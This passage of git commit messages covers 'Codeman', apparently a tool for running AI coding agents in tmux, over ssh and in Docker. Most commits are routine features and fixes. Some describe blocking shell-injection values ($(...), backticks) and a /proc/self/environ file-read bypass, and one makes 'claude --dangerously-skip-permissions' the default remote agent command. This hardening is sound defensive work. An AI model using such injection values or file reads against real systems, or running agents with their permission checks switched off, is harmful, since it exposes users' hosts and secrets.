- One-click "Run in Docker" gains an expandable settings panel with a Template
picker (Small 2G/1 · Medium 4G/2 default · Large 8G/4 · GPU 8G/4/all) plus
memory/cpu/gpu/network/image/mount-creds overrides. Any tweak creates a dedicated
per-case host; the plain checkbox keeps using the shared `default` host.
- GPU passthrough: `gpus` on DockerHost/SessionDocker -> `--gpus <value>` in create
args (needs the NVIDIA container toolkit). Elastic disk: no `--storage-opt` cap,
so container storage grows as data flows in.
- CODEMAN_DOCKER_BRIDGE_HOOKS=1: opt-in second listener on the docker bridge gateway
(auto-detected 172.17.0.1, override CODEMAN_DOCKER_BRIDGE_HOST) that serves ONLY
the hook endpoints and delegates into the secret-gated pipeline, so in-container
hooks fire on a loopback-only server. Non-hook paths -> 403; host-internal, not LAN.
Verified live: Large template applies real 8GB/4CPU limits; a secret-authenticated
hook POST from inside a container now reaches the handler (was connection-refused);
non-hook paths return 403; template UI + GPU field verified via Playwright.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- New POST /api/cases/docker-quickcreate: creates a normal case (folder in
CASES_DIR, scaffolded CLAUDE.md + hooks) AND links it to a hardened container
with default settings, auto-provisioning a shared `default` docker host — the
user never touches host/image/network fields.
- Create New tab gains a "Run in isolated Docker container" checkbox; on submit it
calls docker-quickcreate then auto-starts a claude session inside the container.
- Case Manage list gains an Export (full-image) button per docker case.
- SSE listeners for docker:exportComplete/exportFailed toast + refresh the exports
list.
Verified end-to-end on the live instance: one-click create put the case in
~/codeman-cases/<name>, auto-created the default host, launched claude in the
container; export button produces a bundle; checkbox + button render (Playwright).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Found in live testing: claude refuses its default /tmp/claude-<uid> temp dir when
that path pre-exists root-owned (happens when the workspace bind-mount traverses
it, e.g. a workspace under /tmp/claude-<uid>). Set CLAUDE_CODE_TMPDIR to a
nonexistent HOME subpath the running uid creates+owns, so docker claude sessions
are robust to any workspace location.
Also document the hook-reachability constraint: in-container hooks POST to
host.docker.internal (the bridge gateway), so they only fire when Codeman is
reachable from the container (bind 0.0.0.0 + password); on a loopback-only bind
they don't fire and idle detection falls back to output-based (which works).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Per-device App Settings > Header Displays toggles that show/hide the session
manager and away-digest header buttons (default OFF) and the cron footer
button (default ON). Adds the load/save/apply/default/displayKeys wiring in
settings-ui.js plus the marker CSS in styles.css. Client-only display keys,
stripped from the settings PUT so they never reach the strict server schema
(mirrors the showAttachmentsButton pattern); session/away stay hidden on
phones via the existing mobile.css rules. The button markup and checkbox
rows landed earlier in 5728b86.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- index.html: Create Case "Docker" tab (name/workspace/host/image/network +
advanced memory/cpus/mountCredentials/resumeOnStart), and a Docker-exports
section in the Manage tab
- session-ui.js: linkDockerCase (POST docker-host, PUT on conflict, then
docker-link; omitted optionals as undefined not null), case-picker label
"name @ container" + search fields, switchCaseModalTab/submitCaseModal docker
branch, and export/import UI (refresh/export/import/delete). Docker cases route
through /api/quick-start like remote (runClaude/runShell/runOpenCode/Codex/Gemini)
- verified in a real browser (Playwright): Docker tab renders, linking through the
UI creates the case and it appears in the picker as "uitest @ codeman-case-uitest"
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- src/docker-export.ts: full-image export (pause-consistent commit + save|stream +
workspace tar + manifest -> one .codeman-container.tgz) and workspace-only; import
validates manifest + per-member sha256, traversal-guards the workspace tar, docker
load + quarantine re-tag (never overwrites a local tag). Bounded by
runWithConversionLimit; free-space precheck; docker rmi in finally; sealed
containers refuse full-image export.
- routes: POST /api/docker-cases/:name/export (background + SSE), GET/DELETE
/api/docker-exports, GET download, POST /api/docker-cases/import (-> new host+case)
- instance-scoped boot reaper (docker-hosts.reapOrphanedDockerContainers) wired after
restoreMuxSessions; never touches another instance's containers
- SSE docker:exportComplete/exportFailed/importComplete (both registries)
- fix: stream pipeline in saveImageToTar so the bundle isn't truncated
VERIFIED end-to-end on real docker: full export -> 326MB valid bundle -> delete
case -> import -> new container runs from the quarantined image with the workspace
file AND the in-image change both restored.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
An in-container hook curl carries Host: host.docker.internal:<port> (the derived
CODEMAN_API_URL), so the always-on host guard must allow host.docker.internal /
host.containers.internal or every in-container hook is blocked 403. Exact-match
only; not a browser DNS-rebinding surface (resolves to the host only from inside
a container netns). Verified end-to-end: quick-start launches claude/shell in a
real container with the workspace bind-mounted and hooks scaffolded.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- Session: _docker field, constructor config, toState, createSessionOptions/
respawnPaneOptions (both interactive + shell paths), docker getter
- resolveMuxAttachCwd returns /tmp for docker sessions (local wrapper only execs)
- skip the LOCAL claude version probe for docker; probe the IN-CONTAINER version
instead (deferred) so wheel-forwarding stays enabled (#154)
- server restoreMuxSessions round-trips MuxSession.docker / SessionState.docker
- full CI suite green (3444 passed)
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
node:22-bookworm-slim ships a `node` user at uid 1000, so `useradd -u 1000`
failed. Auto-assign the uid and rely on gid-0 + group-writable HOME so any
runtime `--user <hostUid>:0` can write $HOME. Verified: image builds; toolchain
(node/tmux/claude/codex/gemini/opencode) present; `--user 1000:0` writes
/home/agent and `claude --version` runs.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Release 1.3.5. Consumes the changeset from PR #155: re-issue the
codeman_session cookie on every authenticated request so the browser cookie
lifetime tracks the server-side sliding TTL, fixing the recurring native Basic
Auth dialog during active use.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
screenshots-readme/, screenshots-readme-real/, screenshots-real/ and
design-explorations/ are local capture scratch that was untracked but not
ignored, so an unqualified `git add -A` during a COM could sweep them into a
release (this has happened before).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Re-issue the codeman_session cookie on every authenticated request so the browser cookie lifetime tracks the server-side sliding TTL (authSessions already used refreshOnGet: true). Fixes the recurring native Basic Auth dialog during active use.
Reviewed: no token rotation (same server-generated token re-issued, so no fixation vector), forged cookies are not blessed, logout still emits only the clearing cookie and server-side invalidation holds, cookie attributes identical to the Basic Auth path. Verified against the merge result: tsc --noEmit, lint, format:check, check:frontend-syntax, check:lockfile, and npm run test:ci (3404 passed) all green.
Deterministic claude --version probe seeds cliVersion so wheel-forwarding
to Claude's transcript engages (banner scrape was unreliable on 2.1.187+
and resumed sessions). Shift+wheel reads the dominant axis so a trackpad's
horizontal Shift-scroll reaches local scrollback. New per-device
"Wheel Scrolls Local History" opt-out. Wheel reports use a fire-and-forget
send path so they no longer flicker the pending-bytes indicator.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Make the Cron Jobs modal skin-aware + consistent with App Settings:
skin-variable selects (appearance:none, --bg-input fill, custom chevron),
color-scheme:dark for native controls, themed date/time inputs, and
btn-toolbar-sized toolbar/footer buttons. Bumps aicodeman to 1.3.2.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Redesign the Cron Jobs modal to match App Settings styling + fix the
create form never collapsing (scoped #cronModal .hidden rule). Bumps
aicodeman to 1.3.1.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- Hide the new btn-session-manager header button on phones: add it to the
@media (max-width: 430px) display:none block in mobile.css (next to
.btn-away-digest) and to KNOWN_PHONE_HIDDEN in the mobile-header policy
test, closing the recurring phone-header-leak regression that was PR
#153's red CI job.
- Put the session-manager header button on its own line in index.html
(was crammed onto the away-digest line).
- app.js: drop session:updated from the unified-list SSE refresh trigger —
it is batch-broadcast ~every 500ms per active session and would turn an
open modal / visible welcome list into a sustained ~1 Hz full projects
rescan loop; created/deleted (structural changes) are sufficient.
- terminal-ui.js _fetchUnifiedSessions: check the ApiResponse envelope and
throw on failure so a 5xx surfaces via the caller's catch instead of
rendering an empty history.
- terminal-ui.js _openSessionRowMenu: on re-entry, invoke the previous
menu's close fn (stored as _openRowMenuClose) so its document/window
listeners are detached rather than leaked; use claudeSessionId ||
sessionId in the 'Resume session' menu item to match the main-row and
Session Manager resume routing.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Resolve the 4 conflicted files toward master's merged #146 work while
keeping PR #153's genuinely-new additions:
- app.js: keep the full Escape chain (closeSessionManager +
closeCommandPalette + closeShortcutOverlay).
- index.html: keep master's Command Palette modal markup alongside the
PR's Session Manager modal + header button.
- styles.css: keep master's Command Palette + COD-157 shortcut CSS AND
the PR's COD-130 session-row kebab-menu CSS (both inserted at the same
spot — reunited each with its own closing brace).
- terminal-ui.js: resolve _buildHistoryItem's main-row click handler to
master's options.onActivate contract with a liveness + claudeSessionId
-aware resume default, preserving the PR's two-shape/badges/kebab body.
- panels-ui.js: the PR's pre-#146 Session Manager block auto-merged as a
duplicate AFTER master's fixed block (last-key-wins regression) — drop
it, keep master's implementation plus the PR's new
_onSessionListMaybeChanged.
Backend projectKey plumbing and the SSE live-refresh listeners in app.js
merge additively and are kept as-is.
Includes review fixes: full route-test coverage for the rollout locator/parser (originator/uuid/pin resolution, dedup, injected-context filtering), LRU caches, multi-block text joins.
# Conflicts:
# src/web/routes/session-routes.ts
Includes review fixes: real _wsState lifecycle (connecting/connected/disconnected), per-tab supersede identity (multi-tab coexistence), preserved reconnect backoff, connection-dot CSS for connected/fallback states.
Includes review fixes: explicit ?full=1 trigger wired from initial page load, capture maxBuffer sized from config with -S line bound, capture returned alone (no byte-buffer duplication), early byte-cap before normalization.
- help-modal extractor bounds at the next HTML comment (cron modal's 'Run At'
text false-positived the stale-shortcut regex)
- remote-shell run test expects the wired /api/quick-start path (#145) — POST
/api/sessions has no caseName in its schema
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Includes review fixes: Session Manager aligned to the merged /api/sessions/unified contract with error states, Ctrl+K no longer leaks 0x0B into the PTY, shortcut registry finished (dispatch/persistence/rendering), shortcutOverrides preserved across settings saves, help modal kept reachable.
# Conflicts:
# README.md
# src/web/public/index.html
# src/web/public/session-ui.js
- saveAppSettings() rebuilds settings from the DOM; carry over shortcutOverrides
like showTokenCount/showCost so rebinding survives unrelated saves
- shortcut overlay footer links to the full help modal (its only opener was the
legacy Ctrl+? route this PR replaced)
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- UI: add the missing data-tab="case-remote" tab button; dispatch it through
submitCaseModal()/switchCaseModalTab() to linkRemoteCase() (was dead code).
- Restore: restoreMuxSessions() now passes remote (muxSession.remote ??
savedState.remote) into the Session constructor, so remote metadata round-trips
on restart instead of reattaching from a local cwd / respawning LOCAL / being
erased from state.json. Recovery tests added.
- Run flows: runClaude()/runShell() route remote cases through /api/quick-start
(POST /api/sessions stat-validates workingDir locally); run*() skip the
/api/*/status pre-check and omit inert config/env for remote cases.
- Quick-start: resolve the remote case BEFORE the local CLI availability gates and
skip isCodex/Gemini/OpenCodeAvailable() when remote; REJECT
envOverrides/effort/codex/gemini/openCode config for remote (they don't cross
ssh) instead of silently dropping them.
- Injection: reject $, backtick, $( in remotePath + identityFile at the schema
layer (they survive shellescape into the bash -c launch double-quote layer).
Regression tests for $(...) and backtick payloads added.
- Remote socket/name: launch on a DEDICATED -L codeman-remote socket under a
codeman-ssh-<id> name that fails a remote Codeman's SAFE_MUX_NAME_PATTERN, so a
remote instance can't adopt the session; scope tmux set-options per-session
(never -g) so they don't mutate other sessions.
- Kill: best-effort ssh 'tmux -L codeman-remote kill-session' on remote session
kill (fire-and-forget, never blocks/throws the local kill) so the remote agent
isn't orphaned forever.
- Probe: wire checkRemoteTmuxAvailable() into POST /api/quick-start (structured
OPERATION_FAILED) and as courtesy validation in remote-link; add a default
-o ConnectTimeout=10 to buildSshConnectionArgs (overridable via extraSshOptions).
- Command default: remote claude default is now
'exec claude --dangerously-skip-permissions' (per-host override stays the escape
hatch), mirroring local non-interactive semantics.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- Reject multi-line prompts end-to-end: schema refines on promptText/
launchCommand, runtime check in resolvePrompt (prompt-file content;
trailing newlines tolerated), matching cron-ui form validation — delivery
is single-line only, so multi-line was silently corrupted (typed mode
fused lines, paste mode submitted partials)
- Close the workingDir confinement bypass (arbitrary server-side file read,
e.g. workingDir=/proc + /proc/self/environ): realpath-resolve workingDir
before the containment check, reject '/' and blocked/pseudo-fs trees
(/proc, /sys, /dev + the attachment-guard blocklist) at fire time AND at
job create/update (workingDir must exist and be a directory)
- Session lifecycle: new per-job autoClosePreviousSession (default true,
recurring schedules only; ignored for 'once') — the previous run's
still-open session is closed via the normal cleanupSession path when the
next run fires; UI switch added; 50-session cap math documented in
docs/cron-guide.md §8
- skip_if_same_agent_running: count only live sessions (exclude
stopped/error dead tabs), exclude sessions created by this job's own runs
(fixes the fire-once-then-skip-forever self-deadlock), and a skipped
'once' job stays armed and retries next tick instead of being consumed;
liveness filter mirrored in cron-ui _countActiveAgents
- Wire launchCommand (was accepted+documented but dead): shell mode sends
it via writeViaMux as the first input line after startShell readiness
(single-line, schema-enforced); form field shown for shell agent type
- Record delivery failures: a false writeViaMux result now fails the run
instead of recording a false 'prompt_sent'
- Cap saved jobs at MAX_CRON_JOBS (100) to bound state.json growth
- Surface field-specific schema messages (drop parseBody custom
errorMessage on cron create/update)
- Tests: workingDir create/update validation, /proc bypass regression,
single-line enforcement (schema+runtime+trailing-newline tolerance),
live/own-session skip filtering, once-skip re-arm, auto-close on/off/once,
job-count cap
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- Session Manager (COD-121/192): align _loadSessionManagerList() with the
merged #139 endpoint — map UnifiedSessionItem fields (lastActivityAt
epoch-ms → lastModified, optional sizeBytes/firstPrompt/name) to the
history-record shape _buildHistoryItem renders; surface non-2xx /
error-envelope responses as a visible message instead of a silent
"No sessions found"; route clicks by liveness (live row → selectSession,
history row → resumeHistorySession by conversation UUID) via a new
onActivate option so a live session is never duplicate-resumed
- Ctrl+K double-dispatch: gate the palette chord in
attachCustomKeyEventHandler (return false on keydown) so xterm never
writes 0x0b kill-line into the PTY while the palette opens; gate is
registry-aware so a rebound/disabled palette shortcut restores normal
terminal Ctrl+K
- Shortcut registry (COD-157) finished per maintainer decision: document
keydown now dispatches through getShortcutRegistry() +
matchesShortcutEvent() (legacy SHORTCUTS table removed), honoring
per-shortcut disable and rebinds incl. the palette chord; overrides
persist via saveAppSettingsToStorage() (correct device key + cache
coherence, was orphaned 'codeman:settings'); Shortcuts tab renders on
open via switchSettingsTab hook; capture uses a persistent listener that
ignores bare modifier keydowns (combos now capturable) and requires a
Ctrl/Cmd/Alt chord; settings rows use delegated listeners instead of
inline onclick (JS-string injection sink) and overrides can no longer
clobber id/label/action; added the missing row + overlay CSS
- matchesShortcutEvent: reject undeclared extra modifiers (Ctrl+Shift+K
no longer hijacked from Firefox devtools) while keeping Ctrl/Cmd
interchangeable; match physical code OR produced key for layout parity
- Registry/dispatch gaps: added restore-terminal-size entry, documented
Ctrl+Shift+R again in the help modal (test flipped to assert presence),
Ctrl+?/Alt+? now really open the registry-driven shortcut overlay, and
Escape closes it
- Palette new-session pick routes through selectQuickStartCase() so the
searchable combobox, dir display, and lastUsedCase stay in sync
- Removed fork cherry-pick debris: dead _onSessionListMaybeChanged(),
orphaned .session-row-menu CSS, nonexistent closeMobileHeaderUtilities
calls
- Tests: functional vm-harness coverage for the unified-list field
mapping + error state + liveness routing, palette chord shift/disable/
rebind handling, override persistence round-trip, capture flow, tab
render hook, and source guards for the PTY gate + registry dispatch
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- _wsState now transitions through the full lifecycle: _connectWs() sets
'connecting', ws.onopen (inside the this._ws === ws guard) sets 'connected',
_disconnectWs() resets to 'disconnected' — the connection chip's "WS" state
was previously unreachable (stuck on "WS…"/"HTTP" forever).
- WS registry supersede is now keyed per TAB: the upgrade URL sends
cid = clientId + ':' + per-page nonce (reusing the constructor's page UUID),
while input frames keep the bare browser clientId for seq dedup — two
tabs/windows on one session coexist instead of 4010-evicting each other in a
perpetual 5s ping-pong; a genuine same-tab reconnect still supersedes.
- Exponential backoff engages: _disconnectWs() no longer zeroes
_wsReconnectAttempts (it's called at the top of _connectWs, so every retry
replanned at attempt 0 → ~0ms tight reconnect loop during outages); onopen
resets the counter on success.
- styles.css: add .connection-dot.connected (green) and .connection-dot.fallback
(yellow) — both states rendered an invisible dot (no rule existed).
- Remove smuggled dead code: resolveMonitorRowLabels/CodemanMonitorLabels
(COD-122, no consumer, referenced test doesn't exist) and the never-written
_wsLastClose/_wsInputSendCount/_httpFallbackSendCount diagnostics.
- Tests: new test/ws-state-lifecycle.test.ts drives the REAL
_connectWs/onopen/onclose/timer cycle (state transitions, escalating backoff
delays, composite cid on the upgrade URL); registry two-tab coexistence test;
static check that every emitted connection-dot class has a styles.css rule.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- Replace the 'missing ?tail means reload' overload with an explicit ?full=1
query param: the frontend's first buffer load after a page load (selectSession)
now requests full=1, tab switches keep ?tail=, and the legacy no-param callers
(response-viewer fallback, clearTerminal refresh) keep the cheap visible-frame
path — the COD-47 feature was previously unreachable from a real reload.
- When the full-history capture succeeds, return it ALONE instead of prepending
the byte buffer + \x1b[H\x1b[2J: the capture is the rendered superset of the
byte history, and ED2 clears only the viewport so the concat replayed the whole
conversation twice in xterm scrollback. The history+clear+frame concat stays
for the visible-frame/tab-switch path.
- Pass an explicit execSync maxBuffer for the full-history capture (configured
terminalBufferMaxBytes + slack) — the 1MB Node default ENOBUFS-killed exactly
the multi-MB captures the feature exists for; log ENOBUFS concisely instead of
dumping the truncated stdout.
- Bound the capture itself via -S -<N> derived from the configured tmux
history limit (was unbounded -S -), and add -J so lines hard-wrapped at the
capture-time pane width reflow in the browser xterm.
- Cap the concatenated buffer to terminalBufferMaxBytes EARLY (before the
regex normalization passes) so multi-MB captures don't stall the event loop
normalizing bytes that get sliced away.
- Tests: route tests updated for ?full=1 semantics (capture-alone response,
config-forwarded capture bounds, byte-history fallback, no-param requests
stay on the visible-frame path); source-scan tests cover the bounded -J -S -<N>
flags and explicit maxBuffer.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- Breaker reset is now explicit-only: POST /api/sessions/:id/interactive no
longer unconditionally resets the PTY-exit breaker (that endpoint IS the
frontend's automatic re-attach path, so the breaker could never trip on the
COD-115 crash loop and any tab click silently re-armed it). The route accepts
a schema-validated optional body flag {clearBreaker:true}
(InteractiveStartSchema) and resets only when it is sent.
- Frontend restart control: app.js selectSession keeps the bare auto-attach
(no body, never clears); when the selected session has respawnBlocked it asks
for explicit user confirmation and only then re-POSTs with clearBreaker:true.
respawnBlocked is surfaced via SessionState/toState() (runtime-only, not
restored on boot so recovery can re-attach).
- Trip observability: WebServer.setupSessionListeners() is now idempotent
(skips while refs are attached) and the re-attach routes (/interactive,
/interactive-respawn, /shell) re-run it, restoring the wiring that the exit
handler detaches on every PTY exit — without this the 5th-exit trip had
guaranteed zero listeners (no SSE, no push, no persist, no run-summary).
- Push notification: added SessionRespawnBreakerTripped to PUSH_EVENT_MAP
('Session crash loop stopped', urgency critical) with an exit-count body
branch; previously sendPushNotifications silently no-oped.
- Minor: buildMuxAttachEnv() truecolor param is now actually passed
(codex/gemini, mirrors buildEnvExports); buildClaudeEnv() uses delete for
COLORTERM/CLAUDECODE (same node-pty "KEY=undefined" quirk as COD-115).
- Tests: route tests assert auto-reattach does NOT reset, clearBreaker resets,
invalid flag rejected, and listener re-wiring on /interactive + /shell;
real-wiring lifecycle tests (createSessionListeners/attach/detach) prove the
exit-detach gap and that re-setup keeps the 5th-exit trip observable;
PUSH_EVENT_MAP regression guard.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The per-row ⋯ in the session list was a details toggle that did nothing in
the Session Manager modal (swallowed by the modal's capture-phase
close-on-click). Replace it with a real kebab context menu.
- terminal-ui.js: ⋯ now opens _openSessionRowMenu() — a body-anchored popup
(fixed-positioned, flips/clamps to viewport, z-index above the modal) with:
Resume/Switch-to (live→select tab, closed→resume), Open folder in the file
browser (live sessions only — the browser is session-scoped), Copy path
(_copyText + toast, when workingDir present), and Show details (the old
inline prompt/path panel). Closes on outside-click / Escape / scroll / resize.
- panels-ui.js: _loadSessionManagerList scopes its modal-close to the
.history-item-main (resume) click, so the ⋯/menu no longer closes the modal.
- styles.css: .session-row-menu + .session-row-menu-item.
Verified in Chromium on an isolated beta: ⋯ opens the menu with the modal
still open; closed rows show Resume/Copy path/Show details, live rows add
Switch-to + Open folder; Show details expands inline (modal stays open),
Copy path copies the path, Resume closes the modal, Escape closes only the
menu. Gates: tsc 0, lint 0, frontend-syntax + public-asset format clean.
The complete session list now updates live as sessions change, instead of
only on open/welcome-load.
- app.js: extra SSE listeners (session:created/updated/deleted) on the same
EventSource (multiple listeners per event; existing handlers untouched;
registered via addListener so they tear down on reconnect) call
_onSessionListMaybeChanged().
- panels-ui.js: _onSessionListMaybeChanged() debounced-refreshes the Session
Manager modal when it's open and the welcome list when its overlay is
visible (no work when neither is showing). _loadSessionManagerList stores the
active query so refreshes preserve the user's search.
Verified on an isolated beta instance (Playwright): dispatching a session
event refreshes the modal while open, does NOT while closed (gated), and
refreshes the welcome list while visible. Gates: tsc 0, frontend-syntax +
public-asset format clean, build clean.
Adds a header-reachable Session Manager so the complete session list is
available mid-session, not only on the welcome screen.
- index.html: always-on header button (.btn-session-manager) + #sessionManagerModal
(mirrors the Away Digest modal) with a search box + results list.
- panels-ui.js: openSessionManager()/closeSessionManager()/_loadSessionManagerList()
— loads GET /api/sessions/unified (limit 200), renders via the unit-2
_buildHistoryItem (rich items, mode/LIVE badges, open->select / closed->resume),
debounced search wired to the endpoint's q= param, empty/error states. A
modal-scoped Escape listener closes it even when focus is in the search input;
backdrop click and item click also close it.
- app.js: closeSessionManager() added to the global Escape chain.
- styles.css: modal + list styling (items reuse .history-item).
Verified on an isolated beta instance (Playwright): the header button opens the
modal, it lists 200 sessions from /api/sessions/unified, a no-match query issues
?q= to the server and yields 0 items, clearing restores the list, clicking an
item closes the modal and routes resume/select, and Escape closes it. Gates:
tsc 0, lint 0, frontend-syntax + public-asset format clean, 17 tests pass.
Backs the welcome-screen "Resume Conversation" list with the new
GET /api/sessions/unified endpoint instead of /api/history/sessions, so it
shows the COMPLETE set (live + persisted + non-Claude + closed history)
newest-first with richer context, rather than only Claude transcripts.
- terminal-ui.js: new _fetchUnifiedSessions(); loadHistorySessions() now uses
it. _buildHistoryItem upgraded to the unified shape (kept backward-compatible
with the folder-modal's old shape): title = name || firstPrompt || dir; a
mode badge + a LIVE badge (sources includes 'live'); timestamp from
lastActivityAt (falls back to lastModified); size only when present; detail
panel + "View all in this folder" preserved (gated on projectKey). Resume
branches: an open live session selects its tab, a closed one resumes.
- unified-session-service.ts + endpoint: pass projectKey through the history
source so the folder drill-down survives.
- styles.css: .history-item-badges / -badge / -badge-live pills.
Verified: tsc 0, lint 0, frontend-syntax + public-asset format clean, service
tests 13/13 (+projectKey), route tests 4/4. Playwright on an isolated beta:
the welcome list renders real items from /api/sessions/unified, and the
renderer produces the tab-name title + codex mode badge + visible LIVE badge,
omits LIVE on closed items, keeps "View all in folder", and routes resume
correctly (open->select tab, closed->resume). Persistent panel + live SSE
status are later units.
- Event-loop blockage: HEIC decode/encode (CPU-synchronous libheif WASM +
jpeg-js) now runs in a per-conversion worker_threads Worker
(src/web/heic-jpeg-worker.ts, spawned by heic-jpeg-converter.ts) with
resourceLimits and a 30s hard timeout that terminates the worker —
verified end-to-end under tsx and against compiled dist/ output with a
real iPhone HEIC (event-loop max stall 52ms during conversion).
- No server-side concurrency cap: conversions now acquire a slot from the
existing global runWithConversionLimit() pool (document-conversion-limiter),
bounding peak decode memory/CPU across simultaneous uploads.
- Decompression bomb: header-declared dimensions are read via heic-decode's
allocation-free `.all` path and rejected above 64MP BEFORE decode() can
allocate width*height*4 bytes (a <300-byte crafted file can declare
30000x30000 = 3.6GB). Regression-tested with a crafted ISOBMFF fixture
against the real heic-decode WASM (test/heic-jpeg-core.test.ts).
- Mislabeled HEIC (documented Android/MIUI case): conversion now routes on
ftyp magic-byte sniff of the raw buffer regardless of declared
ext/Content-Type, so a HEIF uploaded as image/jpeg converts instead of
415ing; the magic-mismatch 415 only fires for genuinely unrecognized bytes.
- Brand allowlist narrowed to what heic-decode's isHeic() accepts
(heim/heis/hevm/hevs dropped — they could only ever fail conversion).
- Converted-output size: the JPEG result is checked against
MAX_PASTE_IMAGE_BYTES (jpeg-js can inflate a within-limit HEIC past the cap).
- Deps: heic-convert replaced with its underlying heic-decode + jpeg-js
(the wrapper could not expose the pre-decode dimension check); lockfile
synced, drops pngjs.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- Pass the attachment request `source` through the server deps lambda and make
it a required param on SessionListenerDeps.registerAttachment + the wiring
event type (the 2-arg lambda silently dropped `source`, force-confining every
codex-generated artifact — the feature never worked outside the workspace);
new test/session-listener-wiring.test.ts asserts the pass-through
- Gate the Codex `Saved to: file://` scanner on mode === 'codex' via a
codexArtifacts option threaded from the session call site; magic links stay
mode-agnostic; tests assert claude/shell sessions never emit codex-generated
requests
- Decide the generated-artifact trust policy on the realpath-RESOLVED path
(unresolvable → force-confined) and anchor the ~/.codex marker dirs to
os.homedir() prefixes with startsWith instead of substring matching; symlink
escape + unanchored-marker regression tests added
- Run the Codex scanner on stripAnsi'd data so trailing SGR sequences don't
ride into the captured URL; styled 'Saved to:' test added
- Extend generateFirstPageThumbnail with jpg/jpeg/gif/webp passthrough and
per-extension content types (mirrors the png passthrough) so the PR's new
image formats render real thumbnails instead of 204 letter-tiles
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- Add test/routes/session-routes-codex-last-response.test.ts (app.inject +
temp CODEX_HOME fixture rollouts): originator match beats cwd fallback when
two panes share a dir, cwd fallback excludes sibling-claimed/foreign-cwd
rollouts, resume-uuid filename match, history.jsonl pin outranks originator,
event_msg/legacy user-turn dedup keeps old-codex turns, injected-context
filtering, image placeholder, envelope shape ({success:true,data:{text,
timestamp[,messages]}}), and a Claude-mode regression guard (codex reader
never consulted for claude sessions)
- Replace clear-at-cap Map caches (codexHistoryPinCache, codexRolloutMetaCache)
with the repo-standard LRUMap so a full cache wipe can't thrash hot entries
on large rollout collections
- Join multi-block assistant/user text with a blank line instead of no
separator (extractCodexBlockText)
- Re-enable the terminal-buffer eye fallback for shell sessions (they have no
transcript source at all); TUI modes keep the clear placeholder
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- 92vh on iOS Safari measures the large viewport; with browser chrome visible the
panel top (header + close button) clipped off-screen. 88vh fallback + 92dvh
matches the repo's established dvh idiom.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- saveAppSettings no longer sends webglRendererEnabled on the settings PUT:
the key is absent from the .strict() SettingsUpdateSchema, so every save
400'd with INVALID_INPUT, silently killing all server-side settings
persistence. Stripped in the per-device destructure alongside
localEchoEnabled/skin/etc.
- shouldSkipWebGL now treats a stored true like the untouched default w.r.t.
the sticky marker: the checkbox defaults checked on desktop, so any
unrelated save stored true and every page load then cleared the
'codeman-webgl-disabled' marker, permanently defeating the GPU-stall
auto-fallback. Only ?webgl=force clears the marker at init.
- The marker is instead retired on a real OFF->ON toggle flip detected at
save time (mirrors the _prevGestureEnabled pattern in settings-ui.js).
- webglRendererEnabled added to the displayKeys per-device set in
loadAppSettingsFromServer (renderer choice is device/GPU-specific; syncing
would leak mobile's hidden-checkbox false onto desktop).
- Tests: stored true + sticky marker -> still skips WebGL; OFF->ON save
clears the marker and keeps the key off the wire; default-checked save
leaves the marker alone; ?webgl=force / ?nowebgl behavior unchanged.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- BLOCKER (privacy): the CJK diagnostic trace logged typed CONTENT — _esc(e.key)
per keystroke, up to 24 chars of textarea value on focus/blur/compstart/
compend/input, and the flushed text — mirrored into _crashDiag, which
persists to localStorage and beacons to POST /api/crash-diag. Traces are now
content-free: key CLASS via _kdesc (any single code point → 'printable',
named keys pass through), value lengths + phantom presence via _vdesc
(len=N[+ph]), and 'flush send len=N'. _esc removed.
- MAJOR: the onData self-heal refocused the CJK field whenever gated data
arrived with focus elsewhere — but onData also fires for xterm's
SELF-GENERATED query replies (DA/DSR/CPR/OSC during Ink redraws), so it
stole focus from rename/search/settings inputs while output streamed. Now
requires document.activeElement === this.terminal.textarea (genuine typed
input) and bails when shouldSuppressTerminalQueryResponse(data) matches.
- MAJOR: the pointerdown blur→setTimeout(focus,0) wedged-IME recovery ran on
ALL platforms; on iOS tapping the focused empty field is normal and the
async refocus is outside the user-gesture stack. The listener is now only
registered when /Android/i.test(navigator.userAgent).
- tests: trace-privacy test (no typed character or textarea value ever appears
in the trace; lengths/key classes still recorded), iOS harness asserts the
pointerdown recovery never cycles, self-heal source guard asserts both new
conditions; vm harness gained a ua option (navigator injected, Android UA
default so the existing wedged-IME test still exercises the recovery).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- Duplicate rows: transcript-history rows are keyed by the Claude
conversation UUID (.jsonl filename stem), which diverges from the Codeman
session id for resumed (claudeSessionId = resumeSessionId != id) and
/clear-respawned sessions, so one conversation surfaced as both a live row
and a history-only row. mergeUnifiedSessions now builds an alias map
(claudeSessionId -> Codeman id) from the live + persisted views and
resolves history/lifecycle keys through it; the route feeds
SessionState.resumeSessionId as the persisted alias.
- Inverted precedence: SessionLifecycleLog.query() returns entries
NEWEST-first, but the merge loop unconditionally overwrote name/mode so
